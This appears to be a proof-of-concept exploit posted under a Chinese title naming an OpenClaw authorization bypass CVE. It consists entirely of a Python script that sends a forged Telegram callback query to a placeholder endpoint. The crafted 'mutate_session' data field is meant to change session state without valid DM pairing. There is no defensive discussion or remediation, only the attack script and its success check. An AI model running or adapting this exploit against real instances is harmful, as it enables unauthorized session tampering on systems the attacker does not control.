CVE-2026-35661 OpenClaw授权绕过漏洞

import requests import json # Target simulation endpoint for OpenClaw instance target_url = "http://target-openclaw-instance.com/api/telegram/callback" # Malicious payload simulating a Telegram callback query # This attempts to mutate session state without valid DM pairing payload = { "update_id": 100000000, "callback_query": { "id": "123456789", "from": { "id": 999888777, "is_bot": False, "first_name": "Attacker" }, "message": { "message_id": 100, "from": {"id": 111, "is_bot": True, "first_name": "OpenClawBot"}, "chat": {"id": 999888777, "type": "private"}, "date": 1712000000, "text": "Initial Message" }, # Data field crafted to trigger state mutation "data": "command:mutate_session|param:new_state_value" } } headers = {'Content-Type': 'application/json'} try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if session state was mutated.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))